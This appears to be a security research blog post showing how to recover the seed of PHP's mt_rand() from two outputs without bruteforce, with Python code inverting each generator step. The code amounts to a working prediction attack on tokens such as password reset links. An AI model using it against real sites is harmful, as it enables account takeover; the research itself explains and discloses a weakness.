# Introduction

While performing a pentest on an old website, we encountered a piece of code that we had not seen in a long time:

```
<?php
function resetPassword($email)
{
[...]
$superSecretToken = md5($email . ':' . mt_rand());
[...]
$this->sendEmailWithResetToken($email, $superSecretToken);
}
```

A token, deemed secret and unguessable, was generated using an output from the PHP implementation of the Mersenne Twister.

An internal conversation ensued about the good old times of PRNG prediction and the mass of articles and tools it generated, early in the last decade. At the time, many applications used either `rand()`

or `mt_rand()`

to generate secret tokens or passwords. These functions are labeled cryptographically insecure, and as such should not be used for cryptographic purposes. In order to predict these values, you had to find out the **seed**, the original value that all of these were generated from. The consensus appeared to be that you needed to either obtain the whole internal state (624 values for `mt_rand()`

!) or bruteforce the seed using part of those values.

However, one of our researchers was adamant that it was possible to **recover the Mersenne Twister seed using only two outputs of the mt_rand() function, and without any kind of bruteforce**. Nevertheless, we were unable to find any information supporting this theory, and his notes on the matter were long lost.

After crunching the numbers a little bit, and years after the PRNG-prediction circus, we proved him right. For old times' sake, we will now demonstrate how to do this.

# Breaking PHP's Mersenne Twister, with 2 output values and some math

The first step in generating random numbers using `mt_rand()`

is to use a seed, an *unsigned int*, to generate a **state array** of 624 values. This is done by either calling `mt_srand($seed)`

or automatically, by PHP, upon requesting the first random number. After this, each call to `mt_rand()`

will take the next state value, scramble it, and return it to the user.

Everything happens in the `ext/standard/mt_rand.c`

file for modern PHP versions (PHP7+), or `ext/standard/rand.c`

for older versions (PHP5-).

**Knowing the value of the seed** makes you able to predict every number that will be generated by the PRNG until another call to `mt_srand()`

is made. Therefore, secret random values generated from one or several values of `mt_rand()`

would not be secret anymore, leading to obvious security issues.

The random number generation process is a three steps process:

- Generate an
**initial state array**by modular multiplication of the seed - Scramble state values together to get a
**scrambled state array** - When
`mt_rand()`

is called, return a**modified scrambled state value**

For each step, we'll show the code, briefly describe how it works, and then how to work our way from the output to the input.

*Note: PHP7+ changed the code responsible for generating the scrambled state by a bit (literally) (see both twist and twist_php #defines in mt_rand.c). This does not change much, as we are able to get the seed with each variation of the algorithm. Here, we focus on the original implementation, twist_php. The script provided at the bottom handles both versions.*

## Seed to initial state

```
#define MT_N (624)
#define N MT_N /* length of state vector */
#define M (397) /* a period parameter */
static inline void php_mt_initialize(uint32_t seed, uint32_t *state)
{
/* Initialize generator state with seed
See Knuth TAOCP Vol 2, 3rd Ed, p.106 for multiplier.
In previous versions, most significant bits (MSBs) of the seed affect
only MSBs of the state array. Modified 9 Jan 2002 by Makoto Matsumoto. */
register uint32_t *s = state;
register uint32_t *r = state;
register int i = 1;
*s++ = seed & 0xffffffffU;
for( ; i < N; ++i ) {
*s++ = ( 1812433253U * ( *r ^ (*r >> 30) ) + i ) & 0xffffffffU;
r++;
}
}
```

An initial state array of 624 values is created. The first state is the seed. Each subsequent state value is generated from the previous one.

Now, if we have knowledge of any of these state values, say `state[123]`

, can we work our way back to `state[0]`

, the seed ?

The python equivalent of the code is:

```
N = 624
M = 397
MAX = 0xffffffff
STATE_MULT = 1812433253
def php_mt_initialize(seed):
"""Creates the initial state array from a seed.
"""
state = [None] * N
state[0] = seed & 0xffffffff;
for i in range(1, N):
r = state[i-1]
state[i] = ( STATE_MULT * ( r ^ (r >> 30) ) + i ) & MAX
return state
```

Since the values are generated by iterations, the first thing we need to do is try and find out `state[i-1]`

from `i`

and `state[i]`

. We can then repeat the operation on `i-1`

, `i-2`

, until we reach `state[0]`

, the seed. With `S`

the state, and `i`

in `[1, 624]`

, we have:

We can compute the modular multiplicative inverse of `1812433253`

modulo `0x100000000`

:

And then:

In python, we get:

```
STATE_MULT_INV = 2520285293
MAX = 0xffffffff
def _undo_php_mt_initialize(s, i):
s = (STATE_MULT_INV * (s - i)) & MAX
return s ^ s >> 30
def undo_php_mt_initialize(s, p):
"""From an initial state value `s` at position `p`, find out seed.
"""
for i in range(p, 0, -1):
s = _undo_php_mt_initialize(s, i)
return s
```

This means that if we get our hands on any initial state value, *we can compute* any other state value, and *the original seed*.

## Initial state to scrambled state

```
#define hiBit(u) ((u) & 0x80000000U) /* mask all but highest bit of u */
#define loBit(u) ((u) & 0x00000001U) /* mask all but lowest bit of u */
#define loBits(u) ((u) & 0x7FFFFFFFU) /* mask the highest bit of u */
#define mixBits(u, v) (hiBit(u)|loBits(v)) /* move hi bit of u to hi bit of v */
#define twist(m,u,v) (m ^ (mixBits(u,v)>>1) ^ ((php_uint32)(-(php_int32)(loBit(u))) & 0x9908b0dfU))
static inline void php_mt_reload(TSRMLS_D)
{
/* Generate N new values in state
Made clearer and faster by Matthew Bellew (matthew.bellew@home.com) */
register php_uint32 *state = BG(state);
register php_uint32 *p = state;
register int i;
for (i = N - M; i--; ++p)
*p = twist(p[M], p[0], p[1]);
for (i = M; --i; ++p)
*p = twist(p[M-N], p[0], p[1]);
*p = twist(p[M-N], p[0], state[0]);
BG(left) = N;
BG(next) = state;
}
```

The initial state array is scrambled by mixing-up values, giving a new state, the **scrambled state**. The first **226 (N-M)** values are computed differently from the ones afterwards. In python, we have:

```
N = 624
M = 397
def php_mt_reload(s):
for i in range(0, N - M):
s[i] = _twist(s[i+M], s[i], s[i+1])
for i in range(N - M, N - 1):
s[i] = _twist(s[i+M-N], s[i], s[i+1])
def _twist_php(m, u, v):
"""Emulates the `twist` #define.
"""
mask = 0x9908b0df if u & 1 else 0
return m ^ (((u & 0x80000000) | (v & 0x7FFFFFFF)) >> 1) ^ mask
```

Here, we will show that we can deduce one of the initial states from two scrambled states.

A relation emerges from state **0** and state **227**. If we name the initial state array by `s`

and the new, scrambled one, by `S`

, we have:

```
S[227] = _twist(S[227 - 227], s[227], s[228])
<=> S[227] = _twist(S[0], s[227], s[228])
<=> S[227] = S[0] ^ (((s[227] & 0x80000000) | (s[228] & 0x7FFFFFFF)) >> 1) ^ (0x9908b0df if s[227] & 1 else 0)
<=> S[227] ^ S[0] = (((s[227] & 0x80000000) | (s[228] & 0x7FFFFFFF)) >> 1) ^ (0x9908b0df if s[227] & 1 else 0)
```

As an attacker, if we have knowledge of scrambled states `S[0]`

and `S[227]`

, and XOR them, we get **lots of information about initial state s[228], and some about s[227]**. If we denote

`S[227] ^ S[0]`

by `X`

, we have:- Since the left part of the XOR expression is right shifted, its MSB will always be empty. Therefore, the MSB of
`X`

is only determined by the right part, the mask, because`MSB(0x9908b0df)`

is set. Hence`MSB(X) = LSB(s[227])`

, and we can remove the mask from`X`

if it is present. - Then,
`BIT(s[227], 31) = BIT(X, 30)`

. - The rest of the value are bits from
`s[228]`

, namely bits from`30`

to`1`

.

To sum up, we have:

`MSB`

and`LSB`

of initial state value`s[227]`

- Bits from
`30`

to`1`

of initial state value`s[228]`

We therefore have 4 possible values for `s[228]`

. But, since we know some bits of `s[227]`

as well, we can compute a candidate `s[227]`

from each of the four potential values for `s[228]`

(see first part), and verify if the obtained `s[227]`

value' LSB and MSB match the ones we have. Furthermore, we can obtain the seed associated with a candidate state `s[228]`

(again, refer to first part as to how). We can then use this seed to regenerate a state, and check if it matches `S[0]`

. Here's the python code that does just that:

```
def undo_php_mt_reload(S000, S227):
# m S000
# u S227
# v S228
X = S000 ^ S227
# This means the mask was applied, and as such that S227's LSB is 1
s22X_0 = bv(X, 31)
# remove mask if present
if s22X_0:
X ^= 0x9908b0df
# Another easy guess
s227_31 = bv(X, 30)
# remove bit if present
if s227_31:
X ^= 1 << 30
# We're missing bit 0 and bit 31 here, so we have to try every possibility
s228_1_30 = (X << 1)
for s228_0 in range(2):
for s228_31 in range(2):
s228 = s228_0 | s228_31 << 31 | s228_1_30
# Check if the results are consistent with the known bits of s227
s227 = _undo_php_mt_initialize(s228, 228)
if bv(s227, 0) != s22X_0:
continue
if bv(s227, 31) != s227_31:
continue
# Check if the guessed seed yields S000 as its first scrambled state
rand = undo_php_mt_initialize(s228, 228)
state = php_mt_initialize(rand)
php_mt_reload(state)
if not S000 == state[0]:
continue
return rand
return None
```

To deduce the original seed, we used the relationship between scrambled states `S[0]`

and `S[227]`

. One can see that this relationship is valid for any couple of state values separated by 226 values. Therefore, with knowledge of two state values `S[i]`

and `S[i+227]`

, and their offset `i`

, we can recover the seed.

We can now check the last step of the `mt_rand()`

PRNG.

## Scrambled state value to `mt_rand()`

output

When we call `mt_rand()`

, PHP takes a value from the scrambled state array, plays with it a little bit, and returns it.

```
PHP_FUNCTION(mt_rand)
{
zend_long min;
zend_long max;
int argc = ZEND_NUM_ARGS();
if (argc == 0) {
// genrand_int31 in mt19937ar.c performs a right shift
RETURN_LONG(php_mt_rand() >> 1);
}
...
}
PHPAPI uint32_t php_mt_rand(void)
{
/* Pull a 32-bit integer from the generator state
Every other access function simply transforms the numbers extracted here */
register uint32_t s1;
if (UNEXPECTED(!BG(mt_rand_is_seeded))) {
php_mt_srand(GENERATE_SEED());
}
if (BG(left) == 0) {
php_mt_reload();
}
--BG(left);
s1 = *BG(next)++; // PICKS NEXT SCRAMBLED STATE VALUE
s1 ^= (s1 >> 11);
s1 ^= (s1 << 7) & 0x9d2c5680U;
s1 ^= (s1 << 15) & 0xefc60000U;
return ( s1 ^ (s1 >> 18) );
}
```

`s1`

denotes a scrambled state value. After the 4 operations applied by `php_mt_rand()`

, `mt_rand()`

shifts it one bit to the right. This last operation cannot be reversed, obviously. The four other can.

We end up with the following code for undoing these transformations:

```
def undo_php_mt_rand(s1):
"""Retrieves the merged state value from the value sent to the user.
"""
s1 ^= (s1 >> 18)
s1 ^= (s1 << 15) & 0xefc60000
s1 = undo_lshift_xor_mask(s1, 7, 0x9d2c5680)
s1 ^= s1 >> 11
s1 ^= s1 >> 22
return s1
def undo_lshift_xor_mask(v, shift, mask):
"""r s.t. v = r ^ ((r << shift) & mask)
"""
for i in range(shift, 32, shift):
v ^= (bits(v, i - shift, shift) & bits(mask, i, shift)) << i
return v
```

Given an `mt_rand()`

output, and guessing its LSB, we can get 2 possible scrambled state values: one where the output's LSB is `0`

, and the other where it is `1`

.

## Putting it together

Let's put each of these reverse steps together:

- Obtain 2 values from
`mt_rand()`

, separated by 226 other values:`R000`

and`R227`

; and`i`

, the number of generated values generated before`R000`

. - Get the scrambled state from these values.
- XOR those states and deduce the initial state 228
- Get the seed by working back from
`s228`

to`s0`

```
def main(_R000, _R227, offset):
# Both were >> 1, so the leftmost byte is unknown
_R000 <<= 1
_R227 <<= 1
for R000_0 in range(2):
for R227_0 in range(2):
R000 = _R000 | R000_0
R227 = _R227 | R227_0
S000 = undo_php_mt_rand(R000)
S227 = undo_php_mt_rand(R227)
seed = undo_php_mt_reload(S000, S227, offset)
if seed:
print(seed)
```

Since we're missing the LSB of `R000`

and `R227`

, we need to try the algorithm for each case. Often, only one of the four combinations will yield a seed, as others are impossible.

Output:

The full python code is available on our GitHub.

# Conclusion

We demonstrated that, given two `mt_rand()`

output values separated by 226 others, it is possible to compute, without any bruteforce, the original seed, and therefore obtain any previous or subsequent `mt_rand()`

output, effectively **breaking the PRNG**.